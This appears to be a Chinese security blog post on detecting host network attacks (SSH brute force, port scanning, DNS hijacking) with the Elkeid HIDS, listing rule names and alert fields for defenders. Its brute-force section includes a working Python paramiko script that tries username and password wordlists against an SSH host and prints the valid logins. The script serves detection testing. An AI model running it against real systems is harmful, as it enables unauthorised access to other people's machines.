主机安全-网络攻击监测

目录


概述

本文介绍主机网络层面上的攻击场景,每种攻击场景举一个例子。监测方面以字节跳动的开源HIDS elkeid举例。

针对网络攻击,通常可以考虑从以下方面做规则

  • 来源ip:针对异常ip,有访问即告警。
  • 访问端口:针对高危端口,有访问即告警。
  • 访问频率:针对过多的访问,在一段时间内超过频率即告警。例如,对同一端口或多个端口。

暴力破解(SSH爆破为例)

原理

暴力破解指的是针对开放的端口,提供的服务需要凭据才能访问,但是没有对用户行为做频率的限制,存在弱口令时可能爆破成功。

规则


bruteforce_single_source_detect

这个是针对单一源ip做的告警

bruteforce_multi_source_detect

bruteforce_success_detect

暴力破解,通过密码登录成功

攻击模拟

python 复制代码
import paramiko

# 配置目标主机的IP地址和端口
TARGET_IP = '172.19.0.16'  # 替换为目标IP
TARGET_PORT = 22  # 替换为目标端口

# 读取用户名和密码
def read_file(filename):
    with open(filename, 'r') as file:
        return [line.strip() for line in file]

# 尝试SSH登录
def attempt_ssh_login(username, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    try:
        ssh.connect(TARGET_IP, port=TARGET_PORT, username=username, password=password)
        return True
    except paramiko.AuthenticationException:
        return False
    except Exception as e:
        print(f"Error connecting to {TARGET_IP}: {e}")
        return False
    finally:
        ssh.close()

def main():
    usernames = read_file('username.txt')
    passwords = read_file('password.txt')

    for username in usernames:
        for password in passwords:
            success = attempt_ssh_login(username, password)
            if success:
                print(f"Success: Username: {username}, Password: {password}")
            else:
                print(f"Failed: Username: {username}, Password: {password}")

if __name__ == "__main__":
    main()

告警


给出了源ip,除了这个还可以考虑提供其他信息

  • 尝试次数
  • 失败次数
  • 成功次数
  • 成功用户
  • 登录的时间

端口扫描

原理

对多个端口发起网络探测,确定端口存活、协议等指纹信息。

规则

这里elkeid没有给出,根据原理可以类似ssh爆破,对同一个ip来源扫描多个端口或对单个端口以不同协议高频率扫描。

攻击模拟

使用nmap或masscan等端口扫描工具即可。

告警

告警推荐包含以下字段:

  • 源ip
  • 源端口
  • 扫描开始时间

流量劫持

原理

流量劫持是指在主机和第三方服务之间添加了恶意攻击者,常见DNS劫持、HTTP劫持、CDN劫持等。以DNS劫持为例,攻击者可能篡改了主机的DNS配置文件。

规则

编写规则时可以考虑检测配置文件,或者判断流量的特征。例如,DNS的配置文件为/etc/resolv.conf。DNS隧道攻击时,流量中会有大量的编码后的子域名请求特征。

攻击模拟

这个需要一个远程服务器,从github上也没看到fake dns server之类的,先留个坑。

告警

告警推荐包含以下字段:

  • 本地文件
  • 修改内容
  • 恶意服务器域名或ip

参考

流量劫持
DNS隧道攻击原理及常用攻击分析

相关推荐
wanhengidc3 分钟前
云手机可以息屏挂手游吗?
运维·网络·安全·游戏·智能手机
一只小白菜~21 分钟前
实战记录:H3C路由器IS-IS Level-1邻居建立与路由发布
运维·网络·计算机网络·智能路由器
kenwm22 分钟前
家庭网络异常降速问题排查处理方案
网络·智能路由器
搬码临时工1 小时前
使用自定义固定公网URL地址远程访问公司内网OA办公系统,本地无需公网IP和专线让外网访问
网络·网络协议·tcp/ip
星马梦缘3 小时前
计算机网络6 第六章 应用层——解决“怎么发请求、怎么回响应”的问题(邮件整体传输流程)
网络·计算机网络·域名·ftp·dns·dhcp
@CLoudbays_Martin113 小时前
为什么动态视频业务内容不可以被CDN静态缓存?
java·运维·服务器·javascript·网络·python·php
东哥说-MES|从入门到精通4 小时前
Mazak MTF 2025制造未来参观总结
大数据·网络·人工智能·制造·智能制造·数字化
sheepwjl5 小时前
《嵌入式硬件(三):串口通信》
网络·嵌入式硬件·网络协议·串口通信
Jayyih5 小时前
嵌入式系统学习DAY28(网络编程)
网络·学习·tcp/ip
dbdr09015 小时前
Linux 入门到精通,真的不用背命令!零基础小白靠「场景化学习法」,3 个月拿下运维 offer,第二十六天
linux·运维·服务器·网络·python·学习